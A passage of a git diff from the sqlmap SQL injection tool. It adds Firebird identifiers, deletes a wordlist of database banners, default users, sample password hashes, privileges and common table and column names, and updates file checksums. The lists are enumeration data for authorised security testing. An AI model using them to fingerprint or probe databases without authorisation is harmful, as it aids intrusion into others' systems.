+SEC$MAP_TO +SEC$MAP_TO_TYPE +SEC$MAP_USING +SEC$MIDDLE_NAME +SEC$PLUGIN +SEC$USER +SEC$USER_ATTRIBUTES +SEC$USER_NAME +SEC$USERS +SEC$USER_TYPE +SEC$VALUE +SURNAME +USERS + diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt deleted file mode 100644 index 5df11be3d..000000000 --- a/data/txt/common-outputs.txt +++ /dev/null @@ -1,1476 +0,0 @@ -# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -# See the file 'LICENSE' for copying permission - -[Banners] - -# MySQL -3.22. -3.23. -4.0. -4.1. -5.0. -5.1. -5.5. -5.6. -5.7. -6.0. -8.0. -8.1. -8.2. -8.3. -8.4. -9.0. -9.1. -9.2. -9.3. - -# MariaDB (banner reported as e.g. '10.6.21-MariaDB-...') -10.0. -10.1. -10.2. -10.3. -10.4. -10.5. -10.6. -10.7. -10.8. -10.9. -10.10. -10.11. -11.0. -11.1. -11.2. -11.3. -11.4. -11.5. -11.6. -11.7. -11.8. -12.0. -12.1. -12.2. -12.3. -13.0. - -# PostgreSQL -PostgreSQL 7.0 -PostgreSQL 7.1 -PostgreSQL 7.2 -PostgreSQL 7.3 -PostgreSQL 7.4 -PostgreSQL 8.0 -PostgreSQL 8.1 -PostgreSQL 8.2 -PostgreSQL 8.3 -PostgreSQL 8.4 -PostgreSQL 8.5 -PostgreSQL 9.0 -PostgreSQL 9.1 -PostgreSQL 9.2 -PostgreSQL 9.3 -PostgreSQL 9.4 -PostgreSQL 9.5 -PostgreSQL 9.6 -PostgreSQL 10. -PostgreSQL 11. -PostgreSQL 12. -PostgreSQL 13. -PostgreSQL 14. -PostgreSQL 15. -PostgreSQL 16. -PostgreSQL 17. -PostgreSQL 18. - -# Oracle -Oracle Database 9i Standard Edition Release -Oracle Database 9i Standard Edition Release 9. -Oracle Database 9i Express Edition Release -Oracle Database 9i Express Edition Release 9. -Oracle Database 9i Enterprise Edition Release -Oracle Database 9i Enterprise Edition Release 9. -Oracle Database 10g Standard Edition Release -Oracle Database 10g Standard Edition Release 10. -Oracle Database 10g Express Edition Release -Oracle Database 10g Enterprise Edition Release -Oracle Database 10g Enterprise Edition Release 10. -Oracle Database 11g Standard Edition Release -Oracle Database 11g Standard Edition Release 11. -Oracle Database 11g Express Edition Release -Oracle Database 11g Express Edition Release 11. -Oracle Database 11g Enterprise Edition Release -Oracle Database 11g Enterprise Edition Release 11. -Oracle Database 12c -Oracle Database 18c -Oracle Database 19c -Oracle Database 21c -Oracle Database 23ai -Oracle Database 26ai - -# Microsoft SQL Server -Microsoft SQL Server 7.0 -Microsoft SQL Server 2000 -Microsoft SQL Server 2005 -Microsoft SQL Server 2008 -Microsoft SQL Server 2012 -Microsoft SQL Server 2014 -Microsoft SQL Server 2016 -Microsoft SQL Server 2017 -Microsoft SQL Server 2019 -Microsoft SQL Server 2022 -Microsoft SQL Server 2025 - - -[Users] - -# MySQL >= 5.0 -'debian-sys-maint'@'localhost' -'root'@'%' -'root'@'localhost' -'mysql.sys'@'localhost' -'mysql.session'@'localhost' -'mysql.infoschema'@'localhost' - -# MySQL < 5.0 -debian-sys-maint -root - -# PostgreSQL -postgres - -# Oracle -ANONYMOUS -CTXSYS -DBSNMP -DIP -DMSYS -EXFSYS -MDDATA -MDSYS -MGMT_VIEW -OLAPSYS -ORDPLUGINS -ORDSYS -OUTLN -SCOTT -SI_INFORMTN_SCHEMA -SYS -SYSMAN -SYSTEM -TSMSYS -WMSYS -XDB - -# Microsoft SQL Server -sa - - -[Passwords] - -# MySQL -*00E247AC5F9AF26AE0194B41E1E769DEE1429A29 # testpass - -# PostgreSQL -md599e5ea7a6f7c3269995cba3927fd0093 # testpass - -# Oracle -2D5A0C491B634F1B # testpass - -# Microsoft SQL Server -0x0100098a6200f657f7d012dfa7dc1fd1b154d4dfb8cd20596d22 # testpass - - -[Privileges] - -# MySQL >= 5.0 -ALTER -ALTER ROUTINE -CREATE -CREATE ROUTINE -CREATE TEMPORARY TABLES -CREATE USER -CREATE VIEW -DELETE -DROP -EVENT -EXECUTE -FILE -INDEX -INSERT -LOCK TABLES -PROCESS -REFERENCES -RELOAD -REPLICATION CLIENT -REPLICATION SLAVE -SELECT -SHOW DATABASES -SHOW VIEW -SHUTDOWN -SUPER -TRIGGER -UPDATE -USAGE - -# MySQL < 5.0 -select_priv -insert_priv -update_priv -delete_priv -create_priv -drop_priv -reload_priv -shutdown_priv -process_priv -file_priv -grant_priv -references_priv -index_priv -alter_priv -show_db_priv -super_priv -create_tmp_table_priv -lock_tables_priv -execute_priv -repl_slave_priv -repl_client_priv -create_view_priv -show_view_priv -create_routine_priv -alter_routine_priv -create_user_priv - -# PostgreSQL -catupd -createdb -super - -# Oracle -ADMINISTER ANY SQL TUNING SET -ADMINISTER DATABASE TRIGGER -ADMINISTER RESOURCE MANAGER -ADMINISTER SQL TUNING SET -ADVISOR -ALTER ANY CLUSTER -ALTER ANY DIMENSION -ALTER ANY EVALUATION CONTEXT -ALTER ANY INDEX -ALTER ANY INDEXTYPE -ALTER ANY LIBRARY -ALTER ANY MATERIALIZED VIEW -ALTER ANY OUTLINE -ALTER ANY PROCEDURE -ALTER ANY ROLE -ALTER ANY RULE -ALTER ANY RULE SET -ALTER ANY SEQUENCE -ALTER ANY SQL PROFILE -ALTER ANY TABLE -ALTER ANY TRIGGER -ALTER ANY TYPE -ALTER DATABASE -ALTER PROFILE -ALTER RESOURCE COST -ALTER ROLLBACK SEGMENT -ALTER SESSION -ALTER SYSTEM -ALTER TABLESPACE -ALTER USER -ANALYZE ANY -ANALYZE ANY DICTIONARY -AUDIT ANY -AUDIT SYSTEM -BACKUP ANY TABLE -BECOME USER -CHANGE NOTIFICATION -COMMENT ANY TABLE -CREATE ANY CLUSTER -CREATE ANY CONTEXT -CREATE ANY DIMENSION -CREATE ANY DIRECTORY -CREATE ANY EVALUATION CONTEXT -CREATE ANY INDEX -CREATE ANY INDEXTYPE -CREATE ANY JOB -CREATE ANY LIBRARY -CREATE ANY MATERIALIZED VIEW -CREATE ANY OPERATOR -CREATE ANY OUTLINE -CREATE ANY PROCEDURE -CREATE ANY RULE -CREATE ANY RULE SET -CREATE ANY SEQUENCE -CREATE ANY SQL PROFILE -CREATE ANY SYNONYM -CREATE ANY TABLE -CREATE ANY TRIGGER -CREATE ANY TYPE -CREATE ANY VIEW -CREATE CLUSTER -CREATE DATABASE LINK -CREATE DIMENSION -CREATE EVALUATION CONTEXT -CREATE EXTERNAL JOB -CREATE INDEXTYPE -CREATE JOB -CREATE LIBRARY -CREATE MATERIALIZED VIEW -CREATE OPERATOR -CREATE PROCEDURE -CREATE PROFILE -CREATE PUBLIC DATABASE LINK -CREATE PUBLIC SYNONYM -CREATE ROLE -CREATE ROLLBACK SEGMENT -CREATE RULE -CREATE RULE SET -CREATE SEQUENCE -CREATE SESSION -CREATE SYNONYM -CREATE TABLE -CREATE TABLESPACE -CREATE TRIGGER -CREATE TYPE -CREATE USER -CREATE VIEW -DEBUG ANY PROCEDURE -DEBUG CONNECT SESSION -DELETE ANY TABLE -DEQUEUE ANY QUEUE -DROP ANY CLUSTER -DROP ANY CONTEXT -DROP ANY DIMENSION -DROP ANY DIRECTORY -DROP ANY EVALUATION CONTEXT -DROP ANY INDEX -DROP ANY INDEXTYPE -DROP ANY LIBRARY -DROP ANY MATERIALIZED VIEW -DROP ANY OPERATOR -DROP ANY OUTLINE -DROP ANY PROCEDURE -DROP ANY ROLE -DROP ANY RULE -DROP ANY RULE SET -DROP ANY SEQUENCE -DROP ANY SQL PROFILE -DROP ANY SYNONYM -DROP ANY TABLE -DROP ANY TRIGGER -DROP ANY TYPE -DROP ANY VIEW -DROP PROFILE -DROP PUBLIC DATABASE LINK -DROP PUBLIC SYNONYM -DROP ROLLBACK SEGMENT -DROP TABLESPACE -DROP USER -ENQUEUE ANY QUEUE -EXECUTE ANY CLASS -EXECUTE ANY EVALUATION CONTEXT -EXECUTE ANY INDEXTYPE -EXECUTE ANY LIBRARY -EXECUTE ANY OPERATOR -EXECUTE ANY PROCEDURE -EXECUTE ANY PROGRAM -EXECUTE ANY RULE -EXECUTE ANY RULE SET -EXECUTE ANY TYPE -EXPORT FULL DATABASE -FLASHBACK ANY TABLE -FORCE ANY TRANSACTION -FORCE TRANSACTION -GLOBAL QUERY REWRITE -GRANT ANY OBJECT PRIVILEGE -GRANT ANY PRIVILEGE -GRANT ANY ROLE -IMPORT FULL DATABASE -INSERT ANY TABLE -LOCK ANY TABLE -MANAGE ANY FILE GROUP -MANAGE ANY QUEUE -MANAGE FILE GROUP -MANAGE SCHEDULER -MANAGE TABLESPACE -MERGE ANY VIEW -ON COMMIT REFRESH -QUERY REWRITE -READ ANY FILE GROUP -RESTRICTED SESSION -RESUMABLE -SELECT ANY DICTIONARY -SELECT ANY SEQUENCE -SELECT ANY TABLE -SELECT ANY TRANSACTION -UNDER ANY TABLE -UNDER ANY TYPE -UNDER ANY VIEW -UNLIMITED TABLESPACE -UPDATE ANY TABLE - - -[Roles] - -# Oracle -AQ_ADMINISTRATOR_ROLE -AQ_USER_ROLE -AUTHENTICATEDUSER -CONNECT -CTXAPP -DBA -DELETE_CATALOG_ROLE -EJBCLIENT -EXECUTE_CATALOG_ROLE -EXP_FULL_DATABASE -GATHER_SYSTEM_STATISTICS -HS_ADMIN_ROLE -IMP_FULL_DATABASE -JAVA_ADMIN -JAVADEBUGPRIV -JAVA_DEPLOY -JAVAIDPRIV -JAVASYSPRIV -JAVAUSERPRIV -LOGSTDBY_ADMINISTRATOR -MGMT_USER -OEM_ADVISOR -OEM_MONITOR -OLAP_DBA -OLAP_USER -RECOVERY_CATALOG_OWNER -RESOURCE -SCHEDULER_ADMIN -SELECT_CATALOG_ROLE -TABLE_ACCESSERS -WM_ADMIN_ROLE -XDBADMIN -XDBWEBSERVICES - - -[Databases] - -# MySQL -information_schema -performance_schema -mysql -sys -test -phpmyadmin - -# PostgreSQL -pg_catalog -postgres -public -template0 -template1 - -# Microsoft SQL Server -AdventureWorks -AdventureWorksDW -master -model -msdb -ReportServer -ReportServerTempDB -tempdb - -# Cloud Defaults -rdsadmin -innodb -azure_maintenance - -[Tables] - -# MySQL >= 5.0 -CHARACTER_SETS -COLLATION_CHARACTER_SET_APPLICABILITY -COLLATIONS -COLUMN_PRIVILEGES -COLUMNS -ENGINES -EVENTS -FILES -GLOBAL_STATUS -GLOBAL_VARIABLES -KEY_COLUMN_USAGE -PARTITIONS -PLUGINS -PROCESSLIST -PROFILING -REFERENTIAL_CONSTRAINTS -ROUTINES -SCHEMA_PRIVILEGES -SCHEMATA -SESSION_STATUS -SESSION_VARIABLES -STATISTICS -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -TRIGGERS -USER_PRIVILEGES -VIEWS - -# MySQL -columns_priv -db -event -func -general_log -help_category -help_keyword -help_relation -help_topic -host -ndb_binlog_index -plugin -proc -procs_priv -servers -slow_log -tables_priv -time_zone -time_zone_leap_second -time_zone_name -time_zone_transition -time_zone_transition_type -user - -# phpMyAdmin -pma_bookmark -pma_column_info -pma_designer_coords -pma_history -pma_pdf_pages -pma_relation -pma_table_coords -pma_table_info - -# Wordpress -wp_users -wp_posts -wp_comments -wp_options -wp_postmeta -wp_terms -wp_term_taxonomy -wp_term_relationships -wp_links -wp_commentmeta - -# WooCommerce -wp_woocommerce_sessions -wp_woocommerce_api_keys -wp_woocommerce_attribute_taxonomies - -# Magento -catalog_product_entity -sales_order -sales_order_item -customer_entity -quote - -# Drupal -node -users -field_data_body -field_revision_body -taxonomy_term_data -taxonomy_vocabulary - -# Joomla -joomla_users -joomla_content -joomla_categories -joomla_modules - -# PostgreSQL -pg_aggregate -pg_am -pg_amop -pg_amproc -pg_attrdef -pg_attribute -pg_authid -pg_auth_members -pg_cast -pg_class -pg_constraint -pg_conversion -pg_cron_job -pg_cron_job_run_detail -pg_database -pg_depend -pg_description -pg_enum -pg_foreign_data_wrapper -pg_foreign_server -pg_index -pg_inherits -pg_language -pg_largeobject -pg_listener -pg_namespace -pg_opclass -pg_operator -pg_opfamily -pg_pltemplate -pg_proc -pg_rewrite -pg_shdepend -pg_shdescription -pg_statistic -pg_stat_statements -pg_tablespace -pg_trigger -pg_ts_config -pg_ts_config_map -pg_ts_dict -pg_ts_parser -pg_ts_template -pg_type -pg_user_mapping -sql_features -sql_implementation_info -sql_languages -sql_packages -sql_parts -sql_sizing -sql_sizing_profiles - -# Oracle (demo database) -BONUS -DEPT -EMP -SALGRADE -USERS - -# Microsoft SQL Server -## Database: AdventureWorksDW -AdventureWorksDWBuildVersion -DatabaseLog -DimAccount -DimCurrency -DimCustomer -DimDepartmentGroup -DimEmployee -DimGeography -DimOrganization -DimProduct -DimProductCategory -DimProductSubcategory -DimPromotion -DimReseller -DimSalesReason -DimSalesTerritory -DimScenario -DimTime -FactCurrencyRate -FactFinance -FactInternetSales -FactInternetSalesReason -FactResellerSales -FactSalesQuota -ProspectiveBuyer -vAssocSeqLineItems -vAssocSeqOrders -vDMPrep -vTargetMail -vTimeSeries - -## Database: master -all_columns -all_objects -all_parameters -all_sql_modules -all_views -allocation_units -assemblies -assembly_files -assembly_modules -assembly_references -assembly_types -asymmetric_keys -backup_devices -certificates -CHECK_CONSTRAINTS -check_constraints -COLUMN_DOMAIN_USAGE -COLUMN_PRIVILEGES -column_type_usages -column_xml_schema_collection_usages -columns -COLUMNS -computed_columns -configurations -CONSTRAINT_COLUMN_USAGE -CONSTRAINT_TABLE_USAGE -conversation_endpoints -conversation_groups -credentials -crypt_properties -data_spaces -database_files -database_mirroring -database_mirroring_endpoints -database_mirroring_witnesses -database_permissions -database_principal_aliases -database_principals -database_recovery_status -database_role_members -databases -default_constraints -destination_data_spaces -dm_broker_activated_tasks -dm_broker_connections -dm_broker_forwarded_messages -dm_broker_queue_monitors -dm_clr_appdomains -dm_clr_loaded_assemblies -dm_clr_properties -dm_clr_tasks -dm_db_file_space_usage -dm_db_index_usage_stats -dm_db_mirroring_connections -dm_db_missing_index_details -dm_db_missing_index_group_stats -dm_db_missing_index_groups -dm_db_partition_stats -dm_db_session_space_usage -dm_db_task_space_usage -dm_exec_background_job_queue -dm_exec_background_job_queue_stats -dm_exec_cached_plans -dm_exec_connections -dm_exec_query_optimizer_info -dm_exec_query_stats -dm_exec_query_transformation_stats -dm_exec_requests -dm_exec_sessions -dm_fts_active_catalogs -dm_fts_index_population -dm_fts_memory_buffers -dm_fts_memory_pools -dm_fts_population_ranges -dm_io_backup_tapes -dm_io_cluster_shared_drives -dm_io_pending_io_requests -dm_os_buffer_descriptors -dm_os_child_instances -dm_os_cluster_nodes -dm_os_hosts -dm_os_latch_stats -dm_os_loaded_modules -dm_os_memory_allocations -dm_os_memory_cache_clock_hands -dm_os_memory_cache_counters -dm_os_memory_cache_entries -dm_os_memory_cache_hash_tables -dm_os_memory_clerks -dm_os_memory_objects -dm_os_memory_pools -dm_os_performance_counters -dm_os_ring_buffers -dm_os_schedulers -dm_os_stacks -dm_os_sublatches -dm_os_sys_info -dm_os_tasks -dm_os_threads -dm_os_virtual_address_dump -dm_os_wait_stats -dm_os_waiting_tasks -dm_os_worker_local_storage -dm_os_workers -dm_qn_subscriptions -dm_repl_articles -dm_repl_schemas -dm_repl_tranhash -dm_repl_traninfo -dm_tran_active_snapshot_database_transactions -dm_tran_active_transactions -dm_tran_current_snapshot -dm_tran_current_transaction -dm_tran_database_transactions -dm_tran_locks -dm_tran_session_transactions -dm_tran_top_version_generators -dm_tran_transactions_snapshot -dm_tran_version_store -DOMAIN_CONSTRAINTS -DOMAINS -endpoint_webmethods -endpoints -event_notification_event_types -event_notifications -events -extended_procedures -extended_properties -filegroups -foreign_key_columns -foreign_keys -fulltext_catalogs -fulltext_document_types -fulltext_index_catalog_usages -fulltext_index_columns -fulltext_indexes -fulltext_languages -http_endpoints -identity_columns -index_columns -indexes -internal_tables -KEY_COLUMN_USAGE -key_constraints -key_encryptions -linked_logins -login_token -master_files -master_key_passwords -message_type_xml_schema_collection_usages -messages -module_assembly_usages -MSreplication_options -numbered_procedure_parameters -numbered_procedures -objects -openkeys -parameter_type_usages -parameter_xml_schema_collection_usages -parameters -PARAMETERS -partition_functions -partition_parameters -partition_range_values -partition_schemes -partitions -plan_guides -procedures -REFERENTIAL_CONSTRAINTS -remote_logins -remote_service_bindings -routes -ROUTINE_COLUMNS -ROUTINES -schemas -SCHEMATA -securable_classes -server_assembly_modules -server_event_notifications -server_events -server_permissions -server_principals -server_role_members -server_sql_modules -server_trigger_events -server_triggers -servers -service_broker_endpoints -service_contract_message_usages -service_contract_usages -service_contracts -service_message_types -service_queue_usages -service_queues -services -soap_endpoints -spt_fallback_db -spt_fallback_dev -spt_fallback_usg -spt_monitor -spt_values -sql_dependencies -sql_logins -sql_modules -stats -stats_columns -symmetric_keys -synonyms -sysaltfiles -syscacheobjects -syscharsets -syscolumns -syscomments -sysconfigures -sysconstraints -syscurconfigs -syscursorcolumns -syscursorrefs -syscursors -syscursortables -sysdatabases -sysdepends -sysdevices -sysfilegroups -sysfiles -sysforeignkeys -sysfulltextcatalogs -sysindexes -sysindexkeys -syslanguages -syslockinfo -syslogins -sysmembers -sysmessages -sysobjects -sysoledbusers -sysopentapes -sysperfinfo -syspermissions -sysprocesses -sysprotects -sysreferences -sysremotelogins -syssegments -sysservers -system_columns -system_components_surface_area_configuration -system_internals_allocation_units -system_internals_partition_columns -system_internals_partitions -system_objects -system_parameters -system_sql_modules -system_views -systypes -sysusers -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -tables -tcp_endpoints -trace_categories -trace_columns -trace_event_bindings -trace_events -trace_subclass_values -traces -transmission_queue -trigger_events -triggers -type_assembly_usages -types -user_token -via_endpoints -VIEW_COLUMN_USAGE -VIEW_TABLE_USAGE -views -VIEWS -xml_indexes -xml_schema_attributes -xml_schema_collections -xml_schema_component_placements -xml_schema_components -xml_schema_elements -xml_schema_facets -xml_schema_model_groups -xml_schema_namespaces -xml_schema_types -xml_schema_wildcard_namespaces -xml_schema_wildcards - -## Database: msdb -backupfile -backupfilegroup -backupmediafamily -backupmediaset -backupset -log_shipping_monitor_alert -log_shipping_monitor_error_detail -log_shipping_monitor_history_detail -log_shipping_monitor_primary -log_shipping_monitor_secondary -log_shipping_primaries -log_shipping_primary_databases -log_shipping_primary_secondaries -log_shipping_secondaries -log_shipping_secondary -log_shipping_secondary_databases -logmarkhistory -MSdatatype_mappings -MSdbms -MSdbms_datatype -MSdbms_datatype_mapping -MSdbms_map -restorefile -restorefilegroup -restorehistory -sqlagent_info -suspect_pages -sysalerts -syscachedcredentials -syscategories -sysdatatypemappings -sysdbmaintplan_databases -sysdbmaintplan_history -sysdbmaintplan_jobs -sysdbmaintplans -sysdownloadlist -sysdtscategories -sysdtslog90 -sysdtspackagefolders90 -sysdtspackagelog -sysdtspackages -sysdtspackages90 -sysdtssteplog -sysdtstasklog -sysjobactivity -sysjobhistory -sysjobs -sysjobs_view -sysjobschedules -sysjobservers -sysjobsteps -sysjobstepslogs -sysmail_account -sysmail_allitems -sysmail_attachments -sysmail_attachments_transfer -sysmail_configuration -sysmail_event_log -sysmail_faileditems -sysmail_log -sysmail_mailattachments -sysmail_mailitems -sysmail_principalprofile -sysmail_profile -sysmail_profileaccount -sysmail_query_transfer -sysmail_send_retries -sysmail_sentitems -sysmail_server -sysmail_servertype -sysmail_unsentitems -sysmaintplan_log -sysmaintplan_logdetail -sysmaintplan_plans -sysmaintplan_subplans -sysnotifications -sysoperators -sysoriginatingservers -sysoriginatingservers_view -sysproxies -sysproxylogin -sysproxyloginsubsystem_view -sysproxysubsystem -sysschedules -sysschedules_localserver_view -syssessions -syssubsystems -systargetservergroupmembers -systargetservergroups -systargetservers -systargetservers_view -systaskids - -## Database: AdventureWorks -Address -AddressType -AWBuildVersion -BillOfMaterials -Contact -ContactCreditCard -ContactType -CountryRegion -CountryRegionCurrency -CreditCard -Culture -Currency -CurrencyRate -Customer -CustomerAddress -DatabaseLog -Department -Document -Employee -EmployeeAddress -EmployeeDepartmentHistory -EmployeePayHistory -ErrorLog -Illustration -Individual -JobCandidate -Location -Product -ProductCategory -ProductCostHistory -ProductDescription -ProductDocument -ProductInventory -ProductListPriceHistory -ProductModel -ProductModelIllustration -ProductModelProductDescriptionCulture -ProductPhoto -ProductProductPhoto -ProductReview -ProductSubcategory -ProductVendor -PurchaseOrderDetail -PurchaseOrderHeader -SalesOrderDetail -SalesOrderHeader -SalesOrderHeaderSalesReason -SalesPerson -SalesPersonQuotaHistory -SalesReason -SalesTaxRate -SalesTerritory -SalesTerritoryHistory -ScrapReason -Shift -ShipMethod -ShoppingCartItem -SpecialOffer -SpecialOfferProduct -StateProvince -Store -StoreContact -TransactionHistory -TransactionHistoryArchive -UnitMeasure -vAdditionalContactInfo -vEmployee -vEmployeeDepartment -vEmployeeDepartmentHistory -Vendor -VendorAddress -VendorContact -vIndividualCustomer -vIndividualDemographics -vJobCandidate -vJobCandidateEducation -vJobCandidateEmployment -vProductAndDescription -vProductModelCatalogDescription -vProductModelInstructions -vSalesPerson -vSalesPersonSalesByFiscalYears -vStateProvinceCountryRegion -vStoreWithDemographics -vVendor -WorkOrder -WorkOrderRouting - -# Common tables - -accounts -admin -audit -backup -config -configuration -customers -data -files -history -images -log -logs -members -messages -orders -products -settings -test -tokens -uploads - -[Columns] - -# MySQL -## Table: mysql.user -Alter_priv -Alter_routine_priv -Create_priv -Create_routine_priv -Create_tmp_table_priv -Create_user_priv -Create_view_priv -Delete_priv -Drop_priv -Event_priv -Execute_priv -File_priv -Grant_priv -Host -Index_priv -Insert_priv -Lock_tables_priv -max_connections -max_questions -max_updates -max_user_connections -Password -Process_priv -References_priv -Reload_priv -Repl_client_priv -Repl_slave_priv -Select_priv -Show_db_priv -Show_view_priv -Shutdown_priv -ssl_cipher -ssl_type -Super_priv -Trigger_priv -Update_priv -User -x509_issuer -x509_subject - -# Oracle (types) -BINARY_INTEGER -BLOB -BOOLEAN -CHAR -CLOB -DATE -INTERVAL -LONG -MLSLABEL -NCHAR -NCLOB -NUMBER -NVARCHAR2 -RAW -ROWID -TIMESTAMP -VARCHAR -VARCHAR2 -XMLType - -# MySQL (types) -bigint -blob -char -date -datetime -decimal -double -enum -float -int -set -smallint -text -time -tinyint -varchar -year - -# Microsoft SQL Server (types) -bigint -binary -bit -char -cursor -date -datetime -datetime2 -datetimeoffset -decimal -float -image -int -money -nchar -ntext -numeric -nvarchar -real -smalldatetime -smallint -smallmoney -sql_variant -table -text -time -timestamp -tinyint -uniqueidentifier -varbinary -varchar -xml - -# PostgreSQL (types) -bigint -bigserial -boolean -bpchar -bytea -character -date -decimal -double precision -int4 -integer -interval -money -numeric -real -serial -smallint -text -time -timestamp - -# Common columns -active -address -admin -blocked -category_id -city -confirmed -country -created_at -created_on -customer_id -deleted -deleted_at -dob -email -enabled -first_name -flag -gender -hidden -is_active -is_deleted -is_published -last_name -locked -login -modified_on -name -order_id -password -phone -private -product_id -public -role -salt -state -status -timestamp -token -type -updated_at -user_id -username -visible -zip -zip_code - -# --- real-world application / CMS / framework values (repeated section headers are merged on load) --- -[Databases] -wordpress -wp -drupal -joomla -magento -prestashop -opencart -moodle -mediawiki -phpbb -typo3 -laravel -symfony -django -app -application -webapp -web -website -main -backend -api -cms -shop -store -ecommerce -blog -forum -wiki -crm -erp -billing -sales -accounts -inventory -catalog -orders -payments -customers -members -users -data -db -mydb -appdb -prod -production -dev -staging -qa -demo -sample -employees -sakila -world -classicmodels -dvwa -bwapp -mutillidae -dashboard -defaultdb - -[Users] -admin -administrator -root -sa -postgres -oracle -system -dbadmin -dba -dbo -webadmin -web -www -www-data -apache -nginx -app -appuser -application -service -svc -user -dbuser -guest -test -demo -backup -replication -monitor -readonly -superuser -wordpress -drupal -joomla -magento -laravel -django -symfony -'admin'@'localhost' -'admin'@'%' -'app'@'localhost' -'app'@'%' -'web'@'%' -'wordpress'@'localhost' diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d3fe8eadd..6ed89afa7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -23,9 +23,9 @@ a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/sta c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_ 8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_ af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ +aa4d6396df0abde7560ced7d8f7625dd70d57401db86d205f80064609c4b2772 data/txt/catalog-identifiers.txt eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -4d6a32155dd6b570e5cdae8036efd69d8f8ebab79cb82a4d094c15f35af8b13d data/txt/common-outputs.txt 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py +2b0e014869b071a2b6aa4e0c9a23427abdc61a92f09adbcce123fd0fc7ec3aa6 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,26 +181,26 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -23852bdfadfb4bd5663302a63bdcc7227c0314fbdea884167d58ca21cda9fb09 lib/core/optiondict.py -0caac9b4af2cc50321a4d8126d92481ad0b092af2075e7efa19bccef529986fb lib/core/option.py +0ba8838a8a8774a8a6baaf75d8122c3fa0cb9a6e4f468a4a94f32eb894feb754 lib/core/optiondict.py +7229352618491ee1d23bbbfd6e7f160b489ce4b1a8d99c1e873d9664382c3f8c lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py +b2ce6d9948284621cbfa73d81c97416a98e6cbf6f87e2c9dd0b493030ff85340 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py -96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py +e08683ba2558b734562a3490caf0bdde4ae8767b81b0d89fe6db346a13a452c1 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py +ea85d5eccc6d6f6f9e4423ea97dc607ef2ca10b8264e7877c128b2252d1340e3 lib/parse/cmdline.py 925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py 